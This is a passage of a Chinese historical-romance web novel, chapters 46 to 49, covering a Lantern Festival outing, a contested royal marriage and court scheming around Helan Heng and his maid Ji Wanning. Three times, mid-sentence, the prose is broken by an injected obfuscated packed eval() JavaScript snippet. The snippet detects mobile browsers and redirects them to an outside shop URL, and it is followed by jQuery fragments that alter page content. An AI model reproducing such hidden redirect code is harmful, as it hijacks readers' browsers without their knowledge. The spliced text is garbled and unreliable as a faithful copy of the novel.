九公主紧紧咬住抖动的嘴唇,眼眶里噙着泪花,喉咙发紧,仿佛有一只无形的手掐住了她的脖子。
贺兰珩收回撑在墙上的手臂,睥睨她一眼,旋身离开了。
看着他的身影没入了熙熙攘攘的人群中,九公主在原地一动不动,泪水颤悠悠地掉了下来。
46. 抢人
贺兰珩回到芙蓉苑门口,领着季晚凝和容嫣进入园子,来到紫云楼前。
这里围满了人观看百戏表演,耍绳戏的、叠罗汉的、踩高跷的,眼花缭乱。
驻足看了一会儿,一个侍女上前来请他们去彩霞亭,于是一行人沿着湖畔长长的游廊走到尽头。
长公主正和几个女官围坐在一起,身后的美少年们执扇的执扇,捏肩的捏肩。
季晚凝不由好奇地打量了他们几眼,十七八岁的样子,个个清秀标致,手指如玉竹一样按在肩上灵活而优美。
她暗叹,长公主可真会享受。
容嫣悄悄附在她耳边道:“我看他们不如我阿兄和宋监察好看,胜在数量多,又乖巧听话。”
季晚凝掩口笑了笑,心想还是乖巧听话的好,像贺兰珩那样疏冷严厉的她可受不住。
这时身后响起一声沉闷的低咳,她回过头,见贺兰珩五指虚拢作拳抵在唇下,看着她的目光里藏了一缕阴霾。
季晚凝轻抿双唇扭回头,容嫣吐了下舌头,拉着她找座位。
“容嫣,晚凝,坐我旁边来。”长公主招手道。
“表姑,我来啦!”
两人在长公主身侧一左一右坐了下来,贺兰珩则坐在对面。
长公主不似冬猎那日时威严的样子,一派闲适随意,桌上的女官也都有说有笑。
四周是灯火通明的湖面,湖上飘荡着成百上千的水灯,山光水焰,与岸上的灯笼交映成趣。
湖畔站满了人,除了权贵外还有很多难得有一日自由的宫女们,在岸边放着水灯。
亭子里的桌上摆着上元节的传统点心,丝笼、火蛾儿、玉粱糕,还有荔枝煎和山橘子。
容嫣十分熟稔地拿起来就吃,季晚凝见状也没拘束,拈起一颗荔枝煎放进了嘴里。
“御宴宫里全是些老头子,没意思,我便上这儿躲清净来了。”长公主抱怨了一句,又道,“晚凝,这些点心合不合你口味?还想吃什么,我让尚食局的人再去做。”
季晚凝嫣然一笑,点了点头。长公主待她好得让她有些受宠若惊,前阵子得了那些赏赐,将来出府以后她不用再担心生计,这辈子都吃喝不愁了。
“晚凝,你想不想来公主府做事?只要你来,我便提拔你做女官。”长公主侧头看着她,满眼真诚。
季晚凝闻言一怔,咀嚼的动作慢了下来。
能抱上长公主的大腿自然是再好不过,只是进了公主府再想出来就不容易了,行事恐怕也不大方便。
长公主见她犹豫不决,给少年们递了个眼色。两个美少年会意,走到季晚凝身后跪坐下来,一个双手搭上了她的肩,另一个则给她剥橘子,往她唇边送。
正在暗自权衡的季晚凝吓了一跳,瞬间两颊飞红。
贺兰珩不动声色地抬眸,那捏肩的少年突然感到飞过来一记眼刀,后颈凉飕飕的,打了个寒战,怯生生地收回了手。
“我不同意!表姑你把她抢走了,以后我怎么找她玩啊?”容嫣嘴里塞着糕点,含含糊糊地抗议道。
长公主笑道:“这还不容易吗,公主府离你那么近,你什么时候想来玩,我的大门随时为你敞开。”
容嫣想了一会儿,被她说服了,嗫嚅道:“也不是不成。”
可毕竟晚凝是阿兄的婢女,还得征求他的意见吧,她偷瞄了眼阿兄。
贺兰珩墨染般的英眉压着漆黑的凤眸,默然不语地看着季晚凝。
季晚凝一不小心对上了他的目光,感到一团浓浓的乌云正在袭来,她垂下眸闪躲开了。
刚刚在芙蓉园门口,季晚凝亲眼看见他把她和容嫣丢下,独自去寻九公主,把她围在角落里,举止十分暧昧。
将来他尚了公主,她作为贴身婢女肯定要随他一起,九公主视她为眼中钉,随便找个理由就能收拾她。
季晚凝的眸光黯了一黯,抬头望向长公主,刚要点头同意,就听贺兰珩沉声道:“晚凝与我还有一年半的契约,等契书时限到了,再由她自行定夺。”
“一张纸拦不住本主,”长公主道,“本主只需要晚凝点头。”
说着她露出慈柔的笑容,拉起了季晚凝的手。
贺兰珩薄唇抿成了一线,湖上的水灯映在他眸底,如同簇簇幽灼的炽火。
他指节轻扣,道:“殿下若执意破坏规矩抢人,那此前我帮你的事便不作数了。”
长公主闻言眼皮跳了跳,可恶,自己还有那么大一个把柄在他手里。
季晚凝不知两人之间打的谜语,见长公主没有出口反驳贺兰珩,她有些失望,只好暂且作罢。
“咱们去放水灯吧!”容嫣趴在栏杆上,望眼欲穿。
“你们一起去吧,我得去御宴宫。”贺兰珩道。
“本主一会儿也要去御宴宫。”长公主说罢,让身边的女官和侍女也一起去放水灯。
容嫣拉上季晚凝往芙蓉池畔走,在密密麻麻的人群中找到了一席之地,婢女把带来的莲花水灯递给她们。
放水灯原是对逝去亲人的悼念,季晚凝要了四盏灯,一盏盏放在湖面上,用手拨一拨水,让它们飘流而下。
季晚凝坐在湖畔,望着远去的琥珀色莲灯,湖面上的灯火仿若一片碎金,在涟漪中曳出蜿蜒的波光。
她把脸缩在温暖的兔毛里,无意识地抬手摸了摸挂在胸口的木哨。
容嫣遇见了在宫中一起伴读的贵女,围成个圈谈天说地,女郎们提出一起去猜灯谜,容嫣扯了扯独自发怔的季晚凝:“一起去吧。”
季晚凝回神,站起身随她们一起走出芙蓉苑,沿着曲江迤逦而行。
不远处是乐游原,山上山下观者如云,郑贵妃用百枝灯树装点在山上,以古柏做主干,上面悬挂着千百盏灯笼,每盏都缀着璎珞随风飘扬,烛光透过薄如蝉翼的绢纱,仿若仙葩在夜色中绽放。
商贩们在曲江沿岸支起摊铺,卖小吃、灯笼。猜灯谜的摊铺前围满了人,女郎们驻足跃跃欲试。
容嫣费力地挤上前,商贩将写着谜题的木牌一一挂起来,十个铜钱就可以答题,谁先抢答出来,谁就可以把灯带回家。
众人争先抢后,容嫣一个也没答对,季晚凝从算袋里掏出笔来,把纸放在桌上,笔走龙蛇,可写字总归不如别人说得快,还没等她写完,就被抢答了去。
同行的女郎们已经人手一只灯笼,容嫣快被自己笨哭了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164485|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她指望着季晚凝帮她,但见她一脸局促无奈的样子,求她的话又咽了回去。
商贩将最难的一题挂了出来,答对了可以获得场上最精妙炫目的影灯,如同走马灯一样,翦纸而成,千光万影。
季晚凝望着谜面思索,众人你答一个我答一个都不对,有人干脆放弃离开,又有人围上前来挑战,其中不乏文士举子。
商贩得意地看着大家冥思苦想的样子,笑嘻嘻地不停摇头。
此时,一道如玉琤琤的声音穿过人群的嘈杂声,道:“一见如故。”
商贩嘴角的笑一僵,他将木牌翻过来,上面果然写着“一见如故”四个字。
众人循声看去,只见一个身穿雪青袍的郎君,如月中立,清凛无尘,夜风吹过他腰间的禁步,发出清灵的君子之音。
“宋监察,你也来啦!”容嫣又惊又喜道。
商贩摘下来那只影灯,递给宋聿怀,恭喜道:“郎君有缘人,这只灯是你的了。”
宋聿怀却没接,袍袖一摆道:“劳烦你把灯送给这位娘子吧。”
他的目光轻柔地落在季晚凝身上,众人纷纷露出羡慕不已的眼神。
季晚凝神色微滞,艳如芙蕖的脸染上了一层寒意,只疏离地冲他摇了摇头,然后拉起容嫣匆匆钻出了人群。
“欸,灯、灯……”容嫣被她拖在身后,不舍地嘟囔道,“宋监察人多好啊,你不要我要……”
……
御宴宫里长筵列馔,香肴美酝。
乐府奏着西域的曲子《胡腾》,吴道坤正在中央的红毯上给天子献舞,脚踏锦靴舞步缤纷,且急且缓,东倾西倒舞姿如醉,最后反手一个叉腰,身如弦月。
满堂喝彩连连,圣人抚掌大笑,命人嘉赏。
九公主坐在郑贵妃身边,思绪烦乱。
等吴道坤舞毕,九公主趁着天子心情好,便上前跟他耳语,催他赶紧为她赐婚。
天子颔首,借着酒意声音洪亮地笑道:“众卿,你们瞧瞧,朕的九公主刚刚又催朕了,九娘心悦贺兰卿,贺兰卿亦是英卓之士,人中景星麟凤,朕哪有不允之理!等过了上元节之后,着翰林院即刻拟旨,钦天监择期呈奏吉辰!”
贺兰珩神色冷淡,放下手中的酒杯,正要起身出列,这时长公主风风火火地走了进来,身后还带着那群美少年。
宗室群臣侧目而视,交头接耳,天子眼神一凛道:“安国,你这是做什么,平常你把这些上不得台面的东西养在府里也就罢了,朕睁一只眼闭一只,你带来御宴上成何体统!”
长公主委屈巴巴道:“陛下,妾守了半辈子的寡,脸还破了相,后半生恐怕嫁不出去了,还不许妾风流一回吗!”
天子本来满腔怒火,一见她泫然欲泣的模样又于心不忍,自她回京后他也在为她寻新的驸马,可一直没有合适的。
天子语气稍缓:“是你自己挑挑拣拣的,回头你去找太后给你选驸马吧,朕管不了了。”
长公主从袖里掏出锦帕来,在眼角上一边擦拭一边道:“妾年纪轻轻就做了两回寡妇,众人都道妾是克夫的命格,于是妾请高人算了一遭,这天下只有贺兰卿的八字够硬,方能扛得住妾的命格。”
47. 唤她
长公主看向九公主:“只可惜妾来晚一步……九娘,你能不能可怜可怜你姑母,把谦晔让给我?”
九公主见半路杀出个程咬金来,这程咬金还是自己的皇姑,两眼一黑,银牙暗咬。
她挽着郑贵妃的胳膊,急道:“阿娘,怎么办,你帮帮我吧。”
郑贵妃温言相劝:“九娘听话,别跟你皇姑争,阿娘再给你寻个更好的。”
天子沉吟了片刻,他本就打算与贺兰珩结亲,嫁哪个公主都一样,不如先把长公主这个难缠的幺妹给打发了。
他刚要开口同意,这时吴道坤站了起来,反对道:“陛下,万万不可!若今日开了此例,纲常伦纪皆会动摇!还望陛下三思。”
又有大臣谏道:“陛下,公主下嫁,关乎国体颜面,岂能如此草率!”
宋熙也站出来道:“依臣看无甚不妥……”
大臣们吵成了一团。
天子蹙眉,怒斥一声:“够了!此事回宫后再议!”
混乱之中,贺兰珩冷冷瞥了长公主一眼,起身走出了御宴宫。
外面欢声笑语不绝于耳,灯火、表演,一刻不停歇,但似乎与他无关,他只身走下台阶,周身泛着一股寒意,竖起一道无形的屏障。
“瞧你脸臭的,”长公主追了出来,跟在贺兰珩身后,“你有旁的办法也不会来找我,不是吗?”
贺兰珩不语,手拢在袖里,径直往前走。
那日他跟长公主说他不想娶九公主,让她帮忙,她信誓旦旦地应下了,结果就想出这么一个昏招,长公主果然靠不住。
“你以为我就想嫁你吗?你不想尚九公主,而我需要一个驸马堵住悠悠众口,咱们各取所需,岂不两全其美?”
“你放心,等回头我再磨一磨,圣人他一准能同意。”
“哎,你走慢点儿……”
“别忘了你们贺兰家还欠我一个驸马,咱们就做假夫妻,反正我多的是面首。”长公主提裙上前,得意洋洋道,“如此一来,晚凝横竖都是我的。”
贺兰珩突然停下脚步,微微侧首,睨着她道:“殿下的胃口未免太大了些,大、嫂。”
“哟,原来你还记得我是你大嫂呢?帮了你这么大的忙还给我甩脸子!”长公主气汹汹道。
贺兰珩回过头,踏下长阶,转身往芙蓉池走去了。
长公主望着他的背影吁吁地喘气,用力甩了下袍袖:“至于这么生气吗,臭棋也是棋!”
一个美少年随她的脚步停在身边,躬身轻声道:“殿下,依奴看,贺兰大理是心里有人了。”
“他?怎么可能?他的心就是铁铸的。”长公主叉着腰道,“当初他还讥讽我,明知大郎活不了几日了偏要嫁他,自讨苦吃。”
说罢,长公主明亮的眸中掠过了一缕郁色。
贺兰大郎是贺兰珩的长兄,自小体弱多病,总被同龄的孩子欺负。一次春日宴上,十二岁的长公主对这个美貌的病秧子一见钟情,命内侍把那群欺凌他的孩子揍了一顿,并当场央求天子为她指婚。
拿到圣旨后,长公主终于等到及笄,可婚期临近时大郎却病情加重,他故意拖延,逼长公主另嫁他人。长公主却死活不肯,说只要她在他身边一日,他就能多活一日。
最终,大郎在拜堂的次日撒手人寰,长公主自愿为他守了三年寡。
若当初她嫁了旁人,也就没有后来和亲的事了。
“殿下敢爱敢恨,不惮于宣之于口。而贺兰大理的性子显然和殿下不同,可殿下没看见,刚刚在亭子里的时候,他瞧那婢女的眼神有多紧张吗?”
说话的少年想起刚才贺兰珩的那记眼刀,现在还觉得冰凉凉地悬在自己脖子上。
长公主听了他的话若有所思,她是个比较粗枝大叶的人,心思没有那么细腻,回想了一番后才恍悟。
少年随着长公主拾阶而上,道:“还有,贺兰大理系的腰带绣工着实显得粗糙,不像是绣娘的手艺,他却戴到了这么重要的场合来,奴以为这条腰带一定对他别有意义。”
长公主脚步稍顿,道:“没想到你观察得如此细致入微,早跟本主说,本主再想旁的法子便是了。”
这时女官乔桐匆匆走上台阶,附在长公主耳边道:“殿下,妾已经查清楚夜猎的计划是谁走漏了风声。公主府里一个内侍原来在宫中与渊生熟识,那内侍就是负责联络安息国训狮人的,他事先提醒渊生别和九公主、晋王等人往白鹿原的西北方向去,有危险。”
长公主颔首,低声道:“寻个由头,把叛主之人除掉。”
“喏。”
……
贺兰珩赶到芙蓉湖畔时,已经不见季晚凝和容嫣的身影,只有长公主的女官和侍女们,上前询问,女官告诉他,她们去猜灯谜了。
他沿着江岸走,长街两侧挂满了灯笼,在夜风中摇摆,胡姬在走马灯下旋转起舞,肩上的帔帛与影影绰绰的灯光交织流动。
女郎们站在猜灯谜的摊铺前,低头与结伴而行的郎君说着悄悄话,用绣帕掩着唇角娇羞的笑意。
攒动的人头中,一个披着兔毛斗篷的背影亭亭绰立在在流光华彩中,仰头望着花灯,云鬓上的金步摇垂坠下来,慢摇轻颤,如银河流淌。
贺兰珩的目光在她身上停住了须臾,从旁边的铺子买了杯热腾腾的苏子饮,朝她走了过去。
到近前时,季晚凝似有所觉,回过头,一双琉璃般的眸子望着他,清光流转,在华灯下熠熠生辉。
她迎上一步,含笑冲他福了福身,笑意却不达眼底,只是主仆间的礼节。
贺兰珩喉结微滚了一下,把苏子饮递给她道:“容嫣呢?”
季晚凝抬起手朝不远处指了指,容嫣还在执着地和那群贵女们猜灯谜。
贺兰珩看了眼她空空如也的双手,道:“想要吗?”
季晚凝轻轻点了点头,柔颜陷在雪白的绒毛里,眸底闪着殷殷的星光,比她刚刚的笑要真实得多。
他走到摊铺前,这个铺子不是刚才季晚凝玩过的那家了。这家的灯更为精致,答对最难的一题可以获得仙音烛,烛台转动时会发出清妙悦耳的声响,宛如仙音。
铺前纷纷拥拥围满了人,都想摘得这盏仙音烛,可一个时辰过去了,也没有人答对。
贺兰珩看了眼谜题,略作思索后,掏出几枚铜钱扔进几乎装满的陶罐里,随后说出了答案。
那本是满脸春风的商贩一惊,把题牌翻了过来。季晚凝一看,分毫不差,唇畔瞬时漾起了笑意,眼里盛满了星光。
商贩心不甘情不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164486|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
愿地把仙音烛取下来递给贺兰珩,而贺兰珩却把目光投在了角落里的另一盏灯上。
“我要那盏。”他指着一只玲珑可爱、憨态可掬的兔子灯道。
围观的众人满脸讶然,交头接耳,商贩错愕道:“郎君,你确定吗?”
季晚凝杏眼圆睁,他脑子是不是坏了?她就想要仙音烛!
她赶忙从商贩手上把仙音烛抢了过来,柳眉轻拧,抬眸不满地瞪了贺兰珩一眼。
贺兰珩看着她嗔怒的样子轻笑了一下,随即又答了一道,摘得了兔子灯,提在自己手里。最后给容嫣赢了一盏转鹭灯,容嫣喜不自胜,提着灯到处炫耀。
“阿兄,晚凝,要不要去玩投壶?”容嫣兴致勃勃地提议道。
周遭的女郎们的目光频频投向贺兰珩,早就听闻贺兰珩才貌双全,此时满眼倾慕,只见他缓带轻裘立在灯火阑珊处,萧萧肃肃如雪中松,风神俊美,卓尔不群。
女郎们手中握着团扇半遮粉面,起哄相邀道:“是啊,郎君,一起去投壶吧。”莺声燕语,笑声如铃。
贺兰珩看向身侧的季晚凝,她手里捧着苏子饮,眼睛盯着远处卖小吃的铺子。
“不了。”他语气疏淡。
女郎们失望地叹息一声,望着季晚凝手里的仙音烛羡慕不已,还想再说些什么就被容嫣拉去玩投壶了。
美食的香味随风飘来,季晚凝循着香气沿街流连,她自己身上没有几个钱,每到一处小吃摊前,拿起糕点,贺兰珩在后面给她付钱。
吃饱喝足,季晚凝走走停停,观赏街道中央的灯火。
贺兰珩跟在她身侧,她斗篷边缘一圈细软的兔毛若即若离地擦着他的手背和指尖。
她斗篷边缘蓬松的兔毛被夜风拂动,若即若离地擦过他的手背与指尖,轻飘飘的,带着些微绒软的痒意。
贺兰珩没有避开,如此他便能知道她一直在自己身边,触手可及。
临街的茶肆中,宋聿怀正和三五友人一起围坐饮茶,他漫不经心地倚窗而望,无意间看见季晚凝笑意盈然地从街上走过,他端着茶瓯的手微微一顿。
季晚凝拢着斗篷正往灯火表演的方向走,突然被一道清隽的身影挡在了去路。
她险险收住脚步,仰面一看,对上宋聿怀温润清致的眉眼,他站在面前,青衫磊落,身后是流动的光影与人群。
季晚凝眉尖不期然地蹙起,这是被他缠上了?她当即旋身往回走。
贺兰珩在跟着她转身间,目光泠泠地睨了宋聿怀一眼。
宋聿怀望着她的背影,立在原地如松风水月,青色袍衫盈了一袖夜风。
季晚凝对周遭的热闹失了兴致,兀自加快了脚步,贺兰珩紧随在她身侧。
“美人荧荧兮,颜若苕之荣。命乎命乎,逢天时而生。”
一个如清泉漱玉般的声音从身后传来。
话音甫落,贺兰珩指尖上兔毛的触感突然消失了,他眉心微折,转过身。
只见季晚凝辍然止住了脚步,回眸顾盼,与宋聿怀四目相汇。
贺兰珩提灯的手蜷起,看着季晚凝朝宋聿怀走了过去,停在他面前。
他的眸光寸寸下沉,适才宋聿怀念的那首诗词出自《鼓琴歌》,原来她的乳名不是莹莹,而是荧荧。
48. 中毒
季晚凝把心一横,既然被宋聿怀认出来了,索性就问个清楚。只是碍于贺兰珩在,不好明说。
宋聿怀好像看破了她的心思,双眸轻弯道:“阿筠刚好想讨教晚凝娘子骑射之术。夜晚寒凉,不如请晚凝娘子上茶肆里一坐,喝口热茶。”
季晚凝拢了拢斗篷,心想也好,正好她也有点累了,于是随着宋聿怀走上了茶肆的二楼。
两人相对而坐,宋聿怀含着浅笑,声音很低:“我没想过,此生还能再见到你。”
季晚凝心里冷笑,她也没想到,没想到她还能活下来,没想到亲密无间的邻居会为己利栽赃好友,没想到丹心可鉴的父亲会被诬陷成奸臣。
宋聿怀望着她冰清水冷的脸,眸光微垂道:“当年我和阿姐并不清楚你家发生的事,直到有一日阿姐想去陈府里玩,才发现已经人去楼空了。
“后来我们听说了其中原委,没想到阿耶竟做出那种事来。待我年岁渐长,知晓世事之后,想起阿耶当年的手段便引以为耻,我不愿这种卖友求荣、唯利是图的人做我父亲。”
季晚凝抬眼看他,惊讶于他会如此评价宋熙,他身为人子,又是御史,竟说出这样大逆不道的话,见他神色肃然,字正腔圆,不似是假的。
“这些年来他亦是将心力倾注于争权夺利,从很早起,我便想远离他,进士及第之后我原想去地方做官,可他不允,强行将我留在京中。
“不仅如此,他还把活泼喜动的阿姐调养成了温默柔顺的闺秀,只为送进东宫。”
说到这里,宋聿怀眸色黯淡,苦笑了一下。
季晚凝眸光微动,低头从算袋里拿出了笔砚。
“你放心,我不会把遇见你的事告诉父亲的。”宋聿怀看着她道,“荧荧,这些年发生了什么?你为什么变哑了?你的家人……还在吗?”
季晚凝铺平纸,握着笔杆,思绪迭绕,不知该从哪说起,虽然宋聿怀诚恳的说辞有几分打动她,但不足以取得她的信任。
她盯着空白的纸踌躇,几欲落笔却又抬起了手腕。
忽然宋聿怀拾起了案上的纸,揉作一团,温温然道:“不想说便不说了,喝茶。”
季晚凝心里的纠结仿佛一下被他解开了,容色稍霁,捧起了茶瓯。
茶肆的二楼是个清净的小阁楼,用帘帐分成两个隔间,两人没说话时室内格外静谧。
帘帐的另一侧,贺兰珩独自坐在窗边,轻拨茶沫,看着自己的眉眼缓缓融在茶汤里。
刚才宋聿怀说了什么,他全然不知晓,虽然只要他想听就能听见,但他没去听。
这时北苍突然出现了,走上前附在贺兰珩耳边禀道:“那尾巴是跟着季晚凝的,已被属下碾走了,不曾靠近。只是此人轻功不赖,属下没能追上他。”
贺兰珩微微颔首,今日在来的路上他发现有人尾随马车,于是派北苍前去探查。不知跟着她的是什么人,可能是吴道坤的人,也可能是“针”。
过了一会儿,帘帐被轻轻拨动,季晚凝从后面探出身子来。
贺兰珩的目光巡过她的脸,她神色恬淡,眉目舒展,与方才刚遇见他时的抵触已截然不同。
不知宋聿怀跟她说了什么,短短一炷香的时间就让她放了下戒心。
宋聿怀也帘帐后走了出来,对贺兰珩略带歉意地施了一礼。
贺兰珩漠然地看了他一眼,起身道:“宋监察,我们先行一步。”
季晚凝跟着贺兰珩出了茶肆,去投壶的摊子上找容嫣,容嫣恋恋不舍地扔下箭,同他们一起上马车回府了。
……
上元节刚过,天子就收到了一摞子关于公主们婚事的奏状,大多数朝臣都认为长公主是贺兰珩曾经的大嫂,不宜再结亲,他还是尚九公主更为合适。
天子心里的天平也倾向了九公主,但还需先安抚一下长公主,免得她又闹他。
贺兰珩不打算将希望寄托在不靠谱的长公主身上了,准备另寻他法。
下值后他走出大理寺,刚要上马车,一个长随打扮的人走上前来,恭敬地递上一封邀帖,道:“贺兰大理,我家相公邀你到府小叙。”
贺兰珩打开帖子,是郑彦元递来的,他犹豫了一下,取消了去宋府的行程,上车往郑彦元府邸驶去了。
郑府位于平康坊内,傍晚正是张灯结彩、开门迎客的时辰,坊里也住着许多达官显贵。
马车在一朱门前停下,长随引着贺兰珩进入府邸。
郑府门馆清肃,并无大户人家的富丽堂皇,反而楼阁雅致,没有丝毫多余的装饰,颇有种返璞归真之意。
来到湖畔,周围高柳古槐,泉石清寒,如世外仙境一般幽美静谧,与平康坊的金迷纸醉大相径庭。
郑彦元身披羽氅,头戴白纶巾,一动不动地坐在湖畔钓鱼。
等了半晌,平静的湖面泛起圈圈涟漪,他不紧不慢地抬起鱼竿,鱼儿随之跃出水面。
郑彦元将鱼放进竹篓里,站起身,整个人道骨仙风,气宇深远。
他冲贺兰珩微笑道:“听闻贺兰卿素爱吃鱼,老夫特地钓了一条白鳞鱼,就地切了吃新鲜的吧。”
“郑令公厚意,下官便却之不恭了。”贺兰珩道。
长随上前来在湖畔摆一案几,将那鱼刮了鳞,手法伶俐地片成薄得透明的鱼脍,端到他面前。
贺兰珩撩袍坐在石头上,执起木箸,送了一块鱼肉进口。
郑彦元在他对面坐下,缓缓开口道:“九公主自幼宠爱加身,性子骄纵,老夫身为她的舅父亦有责任。贺兰卿不愿委身攀附,这份持守老夫甚为欣赏。”
他这番说辞把自己和九公主的身份放得很低,又将贺兰珩架了起来。
贺兰珩一贯地言简意赅:“是下官无福。”
郑彦元道:“老夫不希望因九公主之事与贺兰卿产生隔阂,尽管郑贵妃深受圣宠,但她是她,我是我。”
从郑彦元的府邸也能看出来,他身为外戚兼右相,本可穷奢极欲、钟鼓馔玉,但却一如既往地简朴。
贺兰珩道:“这是自然。”
“贺兰卿就算不尚公主,以你的才能,老夫也会举荐你进中书省。”
以贺兰珩的官职,进入中书省那就是辅佐郑彦元做侍中了,相当于入相。
哪个官员不想当宰相?朝堂上明争暗斗,都是为了这个位子。
这枝橄榄枝充满了诱惑,可郑彦元早不提晚不提,偏偏在九公主的婚事搁置了之后来找他,实则以退为进。
郑彦元浸淫官场多年,位极人臣,不会这么天真无私地拉拢一个外人。
太子妃刚刚册立,朝中不免在郑彦元和宋熙之间站队,郑、宋二人私下必定各显神通。
宋熙的手段是直接用把柄来威胁他,而郑彦元心机更为深沉,有种世事洞明的超然。
贺兰珩若真应了,无形中就欠了郑彦元一个比结亲更大的人情。
他放下木箸,略施一礼道:“下官资质尚浅,不急于登阁拜相。”
郑彦元双目迥然,言简意深道:“贺兰卿不急,那么老夫
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164487|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也不急。”
贺兰珩浅浅一笑,起身告辞。
翌日下朝后,贺兰珩换了一辆不起眼的小马车去宋府赴约,刚进门就迎面撞上了宋聿怀。
宋熙恰好出来接贺兰珩,看见儿子衣冠楚楚地正要出门,便道:“马上就开饭了,你做什么去?”
“儿跟阿娘请示过了,长公主设宴,邀儿前去。”宋聿怀恭谨而疏远地回道。
宋熙肃起脸,眉心的褶皱拧紧,道:“少跟长公主来往,容易落人话柄,若有人弹劾长公主拉拢太子妻弟,一个结党营私、意图谋逆的罪名扣下来,你也吃不了兜着走!”
宋聿怀清冷的眼神从父亲的脸上掠过,没有要继续与他争辩的意思,转向贺兰珩道:“贺兰卿要不要与宋某同去?”
“不去。”贺兰珩道,他也接到了邀帖,不过回绝了。
宋聿怀眼角含了一抹耐人寻味的笑意,迈出门,登上了马车。
宋熙绷紧着唇角,回头看了一眼他的背影,随后领着贺兰珩来到宴厅,命人传膳。
他开门见山道:“近日京兆府有个案子,颇为蹊跷。”
贺兰珩微怔,原来他是因为案子找他。
“城西一家炼丹坊里有几名小道童水银中毒身亡,京兆府以意外误食结案了。”
贺兰珩颔首:“这个案子我有所耳闻。”
方士炼丹,中毒之事时有发生,无甚稀奇。
宋熙继而道:“这道观的方士张思释不是一般人,他是康诫举荐给圣人的,近年来颇为受宠,专门炼丹药献给圣上,还封了三品官衔。”
听到这里贺兰珩心中了然,道:“这个案子与康诫有牵连,是以宋相公想在这上面做文章。”
宋熙神色狡黠道:“谦晔果然聪悟。”
“此案本就与大理寺无涉,京兆府又已经结案,下官帮不了你。”贺兰珩冷言拒绝。
宋熙不以为意道:“这个老夫帮你想过了,寻个由头让京兆府将案子移交到大理寺即可。”
贺兰珩默不作声,宋熙想拿他当自己的刀除掉康诫,打得一手好算盘。
万一失败了,只他一人受牵连,轻则贬官,重则杀身之祸。而如果成功了,拔除掉康诫同党,于他而言也并没有什么益处。
另一方面,如今已大赦天下,季晚凝不再是他的软肋,宋熙也不能再用她拿捏他。
“老夫帮你解决了杨司浦,你就这么过河拆桥?”宋熙抚须道。
贺兰珩道:“这方士连宋相公都动不了,倒是高看下官了。”
宋熙话锋一转:“对了,关于婚事,你到底想尚哪个公主?老夫来想办法。”
贺兰珩轻啜了一口酒,道:“哪个公主都不尚。”
“这个恐怕有些难,圣人想择你为驸马,不过老夫可以先帮你拖着。”宋熙停顿了少顷,“你还是舍不得季晚凝?”
贺兰珩语声淡然:“与她无关。”
宋熙不怀好意地笑道:“季晚凝冬猎时受伤险些丢了命,你为了救她活活打死一头狮子,倒是挺怜香惜玉,上元节又把公主丢下,陪她去看花灯。”
贺兰珩掀起眼眸看他,原来上元节跟踪季晚凝的人是宋熙派来的。
“谦晔,你先别急着拒绝我,再考虑考虑,将来少不了你的好处。”宋熙道。
“宋相公若能说服圣人将此案移交到大理寺重审,下官即便不愿意也无法推辞了。”
贺兰珩说罢站起身。
宋熙把他送到门口,道:“那就这么说定了。”
49. 入梦
贺兰珩在夜禁前回到了宣阳坊,下车后望了一眼长公主府,里面灯火灿熳,玉箫金管声隐约从高墙内飘荡出来,不过他对这样的热闹向来没什么兴致。
走进来鹤园,季晚凝没有如往常一样提灯上前来迎他,而是梨穗。
贺兰珩以为她在忙别的事,随意地问了句:“晚凝呢?”
“她被长公主接到公主府里用膳了,侍卫也不好拦公主的人。”梨穗回道。
贺兰珩眉心微微一折,难怪刚才宋聿怀不顾反对偏要赴宴。
他对北苍道:“去把她叫回来,下回长公主的人再来,一律回绝。”
“喏。”北苍应道。
梨穗跟着贺兰珩回到寝室,点上灯,轻移莲步朝他走来,伸出一双染了红色蔻丹的纤手,搭在了他腰间的蹀躞带上。
“奴婢给郎君更衣。”她柔声道。
贺兰珩眉眼沉了沉,冷声道:“谁许你进寝室了。”
梨穗轻咬下唇,悻悻地收回手,悄么声地退了出去。
贺兰珩看了一眼空荡荡的房间,握住蹀躞带扣,刚要解开,手一顿,转身出了寝室。
月华初上,公主府里的那群面首们在殿中央吹竹调丝,清歌曼舞。
宾客里不乏各家的贵女和公子,女郎们在一起谈论胭脂首饰、诗词歌赋,季晚凝插不上话,一边吃着甜雪酥,一边观赏美少年们的表演。
宋聿怀坐在对面的男宾席上,刚到时他只远远地冲她颔首微笑,并未交谈。
公主府里炊金馔玉,光传膳就传了半个时辰,饱餐一顿之后季晚凝看了眼时辰,宵禁了。
许多宾客陆续离席,因为贺兰府就在同坊,季晚凝倒是不着急,等到最后才起身。
